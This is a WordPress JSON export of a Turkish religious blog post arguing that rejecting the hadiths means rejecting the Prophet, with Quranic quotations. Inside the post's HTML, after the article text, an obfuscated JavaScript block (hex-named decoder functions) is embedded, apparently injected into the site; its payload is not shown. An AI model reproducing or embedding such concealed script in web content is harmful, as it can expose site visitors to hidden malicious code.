{"id":1167,"date":"2022-12-24T10:12:29","date_gmt":"2022-12-24T10:12:29","guid":{"rendered":"https:\/\/mucahede.com\/genel\/rasulullah-asi-inkar-etmenin-diger-bir-yolu-hadisleri-inkar-etmek\/"},"modified":"2022-12-24T10:12:29","modified_gmt":"2022-12-24T10:12:29","slug":"rasulullah-asi-inkar-etmenin-diger-bir-yolu-hadisleri-inkar-etmek","status":"publish","type":"post","link":"https:\/\/mucahede.com\/videolar\/rasulullah-asi-inkar-etmenin-diger-bir-yolu-hadisleri-inkar-etmek\/","title":{"rendered":"Rasulullah (as)\u2019\u0131 ink\u00e2r etmenin di\u011fer bir yolu, hadisleri ink\u00e2r etmek"},"content":{"rendered":"

<\/iframe><\/p>\nRasulullah (as)\u2019\u0131n hadislerini ink\u00e2r etmek, Kur\u2019an\u2019\u0131 ink\u00e2r etmektir \nHz. Muhammed (as)\u2019\u0131n, Rasul olarak g\u00f6nderildi\u011fi d\u00f6nemde, d\u00fcnyan\u0131n ve insanl\u0131\u011f\u0131n geldi\u011fi korkun\u00e7 nokta, d\u00fc\u015f\u00fcn\u00fcp akleden, insanl\u0131\u011f\u0131n kurtulu\u015funu, yery\u00fcz\u00fcnde bar\u0131\u015f\u0131n, huzurun, adalet ve g\u00fcvenli\u011fin tesis edilmesini isteyen f\u0131trat\u0131 bozulmam\u0131\u015f insanlar\u0131 derinden sars\u0131yor, bu zulm\u00fcn kald\u0131r\u0131lmas\u0131 i\u00e7in \u00e7are ar\u0131yorlard\u0131. Bunlardan biri de Muhammed\u2019\u00fcl-Emin olarak bilinen Hz. Muhammed (as) idi. \nY\u00fcce Allah (cc), ezilen, s\u00f6m\u00fcr\u00fclen, k\u00f6lele\u015ftirilen mazlum insanlar ve do\u011fruya talip olan, akleden, yery\u00fcz\u00fcnde bar\u0131\u015f\u0131n, adaletin, huzurun, g\u00fcven ve mutlulu\u011fun tesis edilmesini isteyen kimseler i\u00e7in, K\u0131yamete kadar s\u00fcrecek ya\u015fam\u0131 d\u00fczenleyen kurallar\u0131 i\u00e7eren Kitab\u0131\u2019n\u0131 Hz. Muhammed (as) ile g\u00f6ndermi\u015ftir. Bu Kitab\u2019\u0131n, hayatta nas\u0131l ya\u015fanaca\u011f\u0131, insanlara nas\u0131l duyurulaca\u011f\u0131 konusunda ise Rasul olarak g\u00f6revlendirdi\u011fi Hz. Muhammed (as)\u2019\u0131 en g\u00fczel \u00f6rnek olarak vermi\u015f, insanlar\u0131n tevbe edip Rab\u2019lerine y\u00f6nelerek kurtulmalar\u0131 i\u00e7in onlara son bir \u015fans daha vermi\u015ftir. Hz. Muhammed (as), rahmet el\u00e7isi olarak insanl\u0131k i\u00e7in son bir \u015fanst\u0131r. \n\u201c\u00c2lemler i\u00e7in rahmetten ba\u015fka (bir sebeple) seni g\u00f6ndermedik.\u201d (Enbiya, 107) \nY\u00fczy\u0131llar\u0131n getirdi\u011fi bir birikim olan, insan\u0131n beyninde kronikle\u015fmi\u015f, d\u00fc\u015f\u00fcnce d\u00fcnyas\u0131n\u0131 istila edip karartm\u0131\u015f materyalist de\u011fer yarg\u0131lar\u0131n\u0131, bozuk felsefi inan\u00e7lar\u0131 ve insan\u0131n her \u015feyin \u00fcst\u00fcnde tuttu\u011fu, ilah edinip pe\u015finden ko\u015ftu\u011fu arzular\u0131n\u0131 bir anda temizleyip insan\u0131, materyalist felsefeden ve arzular\u0131n\u0131n k\u00f6leli\u011finden kurtarman\u0131n \u00f6yle kolay bir \u015fey olmad\u0131\u011f\u0131n\u0131 bilen Rasulullah (as), davetine \u00e7ok yumu\u015fak ifadelerle ba\u015flam\u0131\u015f, insanlar\u0131 k\u0131rmadan do\u011frular\u0131 kabule \u00e7a\u011f\u0131rm\u0131\u015ft\u0131. \u00c7\u00fcnk\u00fc o, bir rahmet el\u00e7isiydi. \nMaddi de\u011fer yarg\u0131lar\u0131n\u0131n k\u00f6lesi olan, ya\u015famlar\u0131 boyunca \u015fiddet ve ter\u00f6r estirmekten ba\u015fka bir \u015fey bilmeyen zorbalara rahmetle hitap etmek onlara hakaret gibi gelir. \u00c7\u00fcnk\u00fc onlar\u0131n lugat\u0131nda \u201crahmet\u201d diye bir kavram yoktur. Zorbalar\u0131n, t\u0131pk\u0131 g\u00fcn\u00fcm\u00fczde oldu\u011fu gibi birbirlerine ve insanlara kar\u015f\u0131 muameleleri hep \u015fiddetle olmu\u015f, varl\u0131klar\u0131n\u0131 ancak bu \u015fiddet sayesinde s\u00fcrd\u00fcrebilmi\u015flerdir. Bu nedenle Hz. Muhammed (as)\u2019\u0131n rahmetle dolu mesaj\u0131n\u0131 hi\u00e7 anlamadan, dinlemeden, an\u0131nda reddetmi\u015flerdi. G\u00fcn\u00fcm\u00fczde de bu azg\u0131nl\u0131k ve ink\u00e2r, hi\u00e7 de\u011fi\u015fmeden ayn\u0131 \u015fekilde devam etmektedir. \nMekkeli zorbalar\u0131n Rasulullah (as)\u2019\u0131 reddetmelerinin ilk nedeni, kendilerini \u00fcst\u00fcn g\u00f6rmeleriydi. Bu kendini \u00fcst\u00fcn g\u00f6rme psikolojisi, t\u00fcm zorba diktat\u00f6rlerin ve s\u00f6m\u00fcrgeci emperyalistlerin tedavisi m\u00fcmk\u00fcn olmayan hastal\u0131\u011f\u0131d\u0131r. Mekkeli zorbalar da ayn\u0131 psikoloji ile Rasulullah (as)\u2019\u0131 k\u00fc\u00e7\u00fcms\u00fcyor, onu reddediyorlard\u0131. \nMekkeli zorbalar\u0131n, rahmet el\u00e7isini reddedi\u015flerinin ikinci nedeni, atalar\u0131n\u0131n s\u00f6m\u00fcr\u00fcye, bask\u0131ya ve \u015fiddete dayal\u0131 sistemlerini s\u00fcrd\u00fcrmeleri iste\u011fiydi. Rasulullah (as), getirdi\u011fi mesajla, Tek bir \u0130lah olan y\u00fcce Allah\u2019a \u015firk ko\u015fmadan inanmalar\u0131n\u0131, insanlar\u0131n, sosyal stat\u00fc, dil, renk, zenginlik, fakirlik ay\u0131r\u0131m\u0131 yap\u0131lmaks\u0131z\u0131n e\u015fit olduklar\u0131n\u0131, s\u00f6m\u00fcr\u00fcn\u00fcn, k\u00f6leli\u011fin, kad\u0131n-erkek ay\u0131r\u0131m\u0131n\u0131n kald\u0131r\u0131ld\u0131\u011f\u0131n\u0131, zenginlerin mallar\u0131nda fakirlerin de haklar\u0131n\u0131n bulundu\u011funu bildiriyordu. \nZorbal\u0131\u011f\u0131 tek \u00e7\u0131kar yol g\u00f6ren, s\u00f6m\u00fcr\u00fcy\u00fc, d\u00fczenlerinin temeli bilen, hayatlar\u0131 boyunca masum insanlara bask\u0131 yap\u0131p onlar\u0131 k\u00f6lele\u015ftiren, -t\u0131pk\u0131 g\u00fcn\u00fcm\u00fcz zorbalar\u0131nda oldu\u011fu gibi- kan d\u00f6kmedik g\u00fcnleri bulunmayan, kad\u0131n\u0131, bir insan olarak bile kabul etmeyen, kad\u0131nlar\u0131, pazarlarda bir mal gibi al\u0131p satan, ta\u015ftan, betondan, a\u011fa\u00e7tan yonttuklar\u0131 put ve heykellerin \u00f6n\u00fcnde zillet i\u00e7inde boyun b\u00fck\u00fcp ibadet eden Mekkeli m\u00fc\u015frik zorbalara a\u011f\u0131r geliyordu. Bu nedenlerle atalar\u0131n\u0131n t\u00e2bi olduklar\u0131 s\u00f6m\u00fcr\u00fcye dayal\u0131 sistemi b\u0131rakmak istemiyorlard\u0131. \n\u201cOnlara: \u2018Allah\u2019\u0131n indirdi\u011fi \u015feye t\u00e2bi olun\u2019 dendi\u011fi zaman, derler ki: \u2018Bilakis atalar\u0131m\u0131z\u0131 \u00fczerinde buldu\u011fumuz \u015feye t\u00e2bi oluruz,\u2019 atalar\u0131 bir \u015fey akletmeyenler ve Hidayeti bulamayanlar olsa da m\u0131!\u201d (Bakara, 170) \nRahmet el\u00e7ileri zorbalara do\u011frular\u0131 g\u00f6steriyor, ancak onlar her defas\u0131nda bu do\u011frular\u0131 reddediyorlar. \u0130nsan d\u00fc\u015f\u00fcnemeyince iyiyi-k\u00f6t\u00fcy\u00fc, g\u00fczeli-\u00e7irkini, Hakk\u2019\u0131-bat\u0131l\u0131 kolay kolay ay\u0131rdedemez. \nRasulullah (as)\u2019\u0131n hayat\u0131 m\u00fccadele ile ge\u00e7mi\u015ftir \nRasulullah (as), t\u0131pk\u0131 kendisinden \u00f6nce ge\u00e7en Risalet \u00f6nderleri gibi hayat\u0131, Tevhidi m\u00fccadelesini insanlara duyurmakla ge\u00e7mi\u015f, bu u\u011furda bir\u00e7ok s\u0131k\u0131nt\u0131 ve eziyetlerle kar\u015f\u0131la\u015fm\u0131\u015f, yurdundan ka\u00e7mak zorunda kalm\u0131\u015f \u00f6rnek bir Rasul\u2019d\u00fcr. \nTarihi s\u00fcre\u00e7te, hemen b\u00fct\u00fcn Risalet \u00f6nderlerine kar\u015f\u0131 \u015firk cephesi d\u00fc\u015fmanl\u0131k yapm\u0131\u015f, rasullere, hakaret, iftira ve yalanlayarak psikolojik, fiziksel sald\u0131r\u0131da bulunarak, onlar\u0131 tutuklayarak i\u015fkence ederek fiziki olarak eziyetler yapm\u0131\u015flard\u0131r. Bu durum, Hz. Muhammed (as)\u2019da da aynen vuku bulmu\u015f, ona ve yan\u0131nda bulunan iman edenlere her t\u00fcrl\u00fc eziyetler yap\u0131lm\u0131\u015ft\u0131r. \n\u201cSana s\u00f6ylenen, senden \u00f6nceki rasullere s\u00f6ylenen ger\u00e7ek olandan ba\u015fka de\u011fildir; \u015f\u00fcphesiz Rabb\u2019in, ma\u011ffiret sahibi ve ac\u0131kl\u0131 bir azab\u0131n sahibidir.” (Fussilet, 43) \nHz. Muhammed (as), \u015firk k\u00fcf\u00fcr batakl\u0131\u011f\u0131nda \u00e7\u0131rp\u0131nan insanlar\u0131, \u015fefkat ve merhametle Hakk’a davet etmi\u015f, Tevhidi ger\u00e7ekleri duyurmaya \u00e7al\u0131\u015fm\u0131\u015ft\u0131r.<\/p>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Muhammed (as)\u2019\u0131n, Rasul olarak g\u00f6nderildi\u011fi d\u00f6nemde, d\u00fcnyan\u0131n ve insanl\u0131\u011f\u0131n geldi\u011fi korkun\u00e7 nokta, d\u00fc\u015f\u00fcn\u00fcp akleden, insanl\u0131\u011f\u0131n kurtulu\u015funu, yery\u00fcz\u00fcnde bar\u0131\u015f\u0131n, huzurun, adalet ve g\u00fcvenli\u011fin tesis edilmesini isteyen f\u0131trat\u0131 bozulmam\u0131\u015f insanlar\u0131 derinden sars\u0131yor, bu zulm\u00fcn kald\u0131r\u0131lmas\u0131 i\u00e7in \u00e7are ar\u0131yorlard\u0131. Bunlardan biri de Muhammed\u2019\u00fcl-Emin olarak bilinen Hz. Muhammed (as) idi. \nY\u00fcce Allah (cc), ezilen, s\u00f6m\u00fcr\u00fclen, k\u00f6lele\u015ftirilen mazlum insanlar ve do\u011fruya talip olan, akleden, yery\u00fcz\u00fcnde bar\u0131\u015f\u0131n, adaletin, huzurun, g\u00fcven ve mutlulu\u011fun tesis edilmesini isteyen kimseler i\u00e7in, K\u0131yamete kadar s\u00fcrecek ya\u015fam\u0131 d\u00fczenleyen kurallar\u0131 i\u00e7eren Kitab\u0131\u2019n\u0131 Hz. Muhammed (as) ile g\u00f6ndermi\u015ftir. Bu Kitab\u2019\u0131n, hayatta nas\u0131l ya\u015fanaca\u011f\u0131, insanlara nas\u0131l duyurulaca\u011f\u0131 konusunda ise Rasul olarak g\u00f6revlendirdi\u011fi Hz. Muhammed (as)\u2019\u0131 en g\u00fczel \u00f6rnek olarak vermi\u015f, insanlar\u0131n tevbe edip Rab\u2019lerine y\u00f6nelerek kurtulmalar\u0131 i\u00e7in onlara son bir \u015fans daha vermi\u015ftir. Hz. Muhammed (as), rahmet el\u00e7isi olarak insanl\u0131k i\u00e7in son bir \u015fanst\u0131r. \n\u201c\u00c2lemler i\u00e7in rahmetten ba\u015fka (bir sebeple) seni g\u00f6ndermedik.\u201d (Enbiya, 107) \nY\u00fczy\u0131llar\u0131n getirdi\u011fi bir birikim olan, insan\u0131n beyninde kronikle\u015fmi\u015f, d\u00fc\u015f\u00fcnce d\u00fcnyas\u0131n\u0131 istila edip karartm\u0131\u015f materyalist de\u011fer yarg\u0131lar\u0131n\u0131, bozuk felsefi inan\u00e7lar\u0131 ve insan\u0131n her \u015feyin \u00fcst\u00fcnde tuttu\u011fu, ilah edinip pe\u015finden ko\u015ftu\u011fu arzular\u0131n\u0131 bir anda temizleyip insan\u0131, materyalist felsefeden ve arzular\u0131n\u0131n k\u00f6leli\u011finden kurtarman\u0131n \u00f6yle kolay bir \u015fey olmad\u0131\u011f\u0131n\u0131 bilen Rasulullah (as), davetine \u00e7ok yumu\u015fak ifadelerle ba\u015flam\u0131\u015f, insanlar\u0131 k\u0131rmadan do\u011frular\u0131 kabule \u00e7a\u011f\u0131rm\u0131\u015ft\u0131. \u00c7\u00fcnk\u00fc o, bir rahmet el\u00e7isiydi. \nMaddi de\u011fer yarg\u0131lar\u0131n\u0131n k\u00f6lesi olan, ya\u015famlar\u0131 boyunca \u015fiddet ve ter\u00f6r estirmekten ba\u015fka bir \u015fey bilmeyen zorbalara rahmetle hitap etmek onlara hakaret gibi gelir. \u00c7\u00fcnk\u00fc onlar\u0131n lugat\u0131nda \u201crahmet\u201d diye bir kavram yoktur. Zorbalar\u0131n, t\u0131pk\u0131 g\u00fcn\u00fcm\u00fczde oldu\u011fu gibi birbirlerine ve insanlara kar\u015f\u0131 muameleleri hep \u015fiddetle olmu\u015f, varl\u0131klar\u0131n\u0131 ancak bu \u015fiddet sayesinde s\u00fcrd\u00fcrebilmi\u015flerdir. Bu nedenle Hz. Muhammed (as)\u2019\u0131n rahmetle dolu mesaj\u0131n\u0131 hi\u00e7 anlamadan, dinlemeden, an\u0131nda reddetmi\u015flerdi. G\u00fcn\u00fcm\u00fczde de bu azg\u0131nl\u0131k ve ink\u00e2r, hi\u00e7 de\u011fi\u015fmeden ayn\u0131 \u015fekilde devam etmektedir. \nMekkeli zorbalar\u0131n Rasulullah (as)\u2019\u0131 reddetmelerinin ilk nedeni, kendilerini \u00fcst\u00fcn g\u00f6rmeleriydi. Bu kendini \u00fcst\u00fcn g\u00f6rme psikolojisi, t\u00fcm zorba diktat\u00f6rlerin ve s\u00f6m\u00fcrgeci emperyalistlerin tedavisi m\u00fcmk\u00fcn olmayan hastal\u0131\u011f\u0131d\u0131r. Mekkeli zorbalar da ayn\u0131 psikoloji ile Rasulullah (as)\u2019\u0131 k\u00fc\u00e7\u00fcms\u00fcyor, onu reddediyorlard\u0131. \nMekkeli zorbalar\u0131n, rahmet el\u00e7isini reddedi\u015flerinin ikinci nedeni, atalar\u0131n\u0131n s\u00f6m\u00fcr\u00fcye, bask\u0131ya ve \u015fiddete dayal\u0131 sistemlerini s\u00fcrd\u00fcrmeleri iste\u011fiydi. Rasulullah (as), getirdi\u011fi mesajla, Tek bir \u0130lah olan y\u00fcce Allah\u2019a \u015firk ko\u015fmadan inanmalar\u0131n\u0131, insanlar\u0131n, sosyal stat\u00fc, dil, renk, zenginlik, fakirlik ay\u0131r\u0131m\u0131 yap\u0131lmaks\u0131z\u0131n e\u015fit olduklar\u0131n\u0131, s\u00f6m\u00fcr\u00fcn\u00fcn, k\u00f6leli\u011fin, kad\u0131n-erkek ay\u0131r\u0131m\u0131n\u0131n kald\u0131r\u0131ld\u0131\u011f\u0131n\u0131, zenginlerin mallar\u0131nda fakirlerin de haklar\u0131n\u0131n bulundu\u011funu bildiriyordu. \nZorbal\u0131\u011f\u0131 tek \u00e7\u0131kar yol g\u00f6ren, s\u00f6m\u00fcr\u00fcy\u00fc, d\u00fczenlerinin temeli bilen, hayatlar\u0131 boyunca masum insanlara bask\u0131 yap\u0131p onlar\u0131 k\u00f6lele\u015ftiren, -t\u0131pk\u0131 g\u00fcn\u00fcm\u00fcz zorbalar\u0131nda oldu\u011fu gibi- kan d\u00f6kmedik g\u00fcnleri bulunmayan, kad\u0131n\u0131, bir insan olarak bile kabul etmeyen, kad\u0131nlar\u0131, pazarlarda bir mal gibi al\u0131p satan, ta\u015ftan, betondan, a\u011fa\u00e7tan yonttuklar\u0131 put ve heykellerin \u00f6n\u00fcnde zillet i\u00e7inde boyun b\u00fck\u00fcp ibadet eden Mekkeli m\u00fc\u015frik zorbalara a\u011f\u0131r geliyordu. Bu nedenlerle atalar\u0131n\u0131n t\u00e2bi olduklar\u0131 s\u00f6m\u00fcr\u00fcye dayal\u0131 sistemi b\u0131rakmak istemiyorlard\u0131. \n\u201cOnlara: \u2018Allah\u2019\u0131n indirdi\u011fi \u015feye t\u00e2bi olun\u2019 dendi\u011fi zaman, derler ki: \u2018Bilakis atalar\u0131m\u0131z\u0131 \u00fczerinde buldu\u011fumuz \u015feye t\u00e2bi oluruz,\u2019 atalar\u0131 bir \u015fey akletmeyenler ve Hidayeti bulamayanlar olsa da m\u0131!\u201d (Bakara, 170) \nRahmet el\u00e7ileri zorbalara do\u011frular\u0131 g\u00f6steriyor, ancak onlar her defas\u0131nda bu do\u011frular\u0131 reddediyorlar. \u0130nsan d\u00fc\u015f\u00fcnemeyince iyiyi-k\u00f6t\u00fcy\u00fc, g\u00fczeli-\u00e7irkini, Hakk\u2019\u0131-bat\u0131l\u0131 kolay kolay ay\u0131rdedemez. \nRasulullah (as)\u2019\u0131n hayat\u0131 m\u00fccadele ile ge\u00e7mi\u015ftir \nRasulullah (as), t\u0131pk\u0131 kendisinden \u00f6nce ge\u00e7en Risalet \u00f6nderleri gibi hayat\u0131, Tevhidi m\u00fccadelesini insanlara duyurmakla ge\u00e7mi\u015f, bu u\u011furda bir\u00e7ok s\u0131k\u0131nt\u0131 ve eziyetlerle kar\u015f\u0131la\u015fm\u0131\u015f, yurdundan ka\u00e7mak zorunda kalm\u0131\u015f \u00f6rnek bir Rasul\u2019d\u00fcr. \nTarihi s\u00fcre\u00e7te, hemen b\u00fct\u00fcn Risalet \u00f6nderlerine kar\u015f\u0131 \u015firk cephesi d\u00fc\u015fmanl\u0131k yapm\u0131\u015f, rasullere, hakaret, iftira ve yalanlayarak psikolojik, fiziksel sald\u0131r\u0131da bulunarak, onlar\u0131 tutuklayarak i\u015fkence ederek fiziki olarak eziyetler yapm\u0131\u015flard\u0131r. Bu durum, Hz. Muhammed (as)\u2019da da aynen vuku bulmu\u015f, ona ve yan\u0131nda bulunan iman edenlere her t\u00fcrl\u00fc eziyetler yap\u0131lm\u0131\u015ft\u0131r. \n\u201cSana s\u00f6ylenen, senden \u00f6nceki rasullere s\u00f6ylenen ger\u00e7ek olandan ba\u015fka de\u011fildir; \u015f\u00fcphesiz Rabb\u2019in, ma\u011ffiret sahibi ve ac\u0131kl\u0131 bir azab\u0131n sahibidir.” (Fussilet, 43) \nHz. Muhammed (as), \u015firk k\u00fcf\u00fcr batakl\u0131\u011f\u0131nda \u00e7\u0131rp\u0131nan insanlar\u0131, \u015fefkat ve merhametle Hakk’a davet etmi\u015f, Tevhidi ger\u00e7ekleri duyurmaya \u00e7al\u0131\u015fm\u0131\u015ft\u0131r.<\/p>\n","protected":false},"author":2,"featured_media":1572,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1167"}],"collection":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/comments?post=1167"}],"version-history":[{"count":0,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1167\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media\/1572"}],"wp:attachment":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media?parent=1167"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/categories?post=1167"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/tags?post=1167"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}